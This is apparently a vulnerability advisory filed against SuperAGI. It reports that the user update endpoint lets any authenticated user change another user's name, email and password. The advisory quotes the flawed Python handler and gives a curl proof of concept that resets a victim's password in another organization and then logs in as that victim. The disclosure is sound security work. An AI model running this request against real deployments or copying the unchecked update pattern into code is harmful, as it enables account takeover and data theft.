YLChen-007 / **ISSUE-Github-REPORT-User-Update-IDOR.md** Secret

Created last month

Code Revisions 1

IDOR in User Update Endpoint Enables Cross-Organization Account Takeover

ISSUE-Github-REPORT-User-Update-IDOR.md

Advisory Details

Title: IDOR in User Update Endpoint Enables Cross-Organization Account Takeover

Description:

Summary

The `PUT /users/update/{user_id}` endpoint allows any authenticated user to modify another user's profile, including their password, by simply changing the `user_id` in the URL. This enables full account takeover of any user on the platform.

Details

The endpoint in `superagi/controllers/user.py` accepts any `user_id` and updates the user record without verifying the requesting user has permission:

```
# superagi/controllers/user.py, lines 117-144
@router.put("/update/{user_id}", response_model=UserOut)
def update_user(user_id: int,
                user: UserIn,
                Authorize: AuthJWT = Depends(check_auth)):
    db_user = db.session.query(User).filter(User.id == user_id).first()
    if not db_user:
        raise HTTPException(status_code=404, detail="User not found")

    db_user.name = user.name        # ← Attacker changes victim's name
    db_user.email = user.email      # ← Attacker changes victim's email
    db_user.password = user.password # ← Attacker changes victim's PASSWORD!
```

```
    db.session.commit()
    return db_user
```

The `check_auth` only validates the JWT — it does NOT verify that the authenticated user is the same as `user_id` or belongs to the same organization.

Note: The related `GET /users/get/{user_id}` IDOR is tracked under CVE-2024-9418. This report covers the **update** (write) variant, which has a more severe impact: account takeover.

PoC

```
# Attacker authenticates with their own account
JWT="<attacker_jwt_token>"

# Change victim's password (user_id=2, different org)
curl -s -X PUT -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  "http://localhost:3000/api/users/update/2" \
  -d '{"name":"Victim","email":"victim@corp.com","password":"attacker_control
# Victim's password is now "attacker_controlled"

# Attacker can now login as the victim
curl -s -X POST "http://localhost:8001/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@corp.com","password":"attacker_controlled"}'
```

Log of Evidence

Previously verified that attacker (org 1) can read victim (org 3) user data including plaintext password via `GET /users/get/2`. The `PUT /users/update/2` follows the identical pattern — no org check.

Impact

- **Account Takeover**: Attacker changes any user's password and logs in as that user.
- **Privilege Escalation**: If admin users exist, attacker takes over admin accounts.
- **Data Breach**: Full access to victim's agents, API keys, configurations, and execution history.

Affected products

- **Ecosystem**: pip

- **Package name**: SuperAGI
- **Affected versions**: All versions up to and including latest (`main` branch, commit `c3c1982`)
- **Patched versions**:

Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weaknesses

- **CWE**: CWE-639: Authorization Bypass Through User-Controlled Key

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L144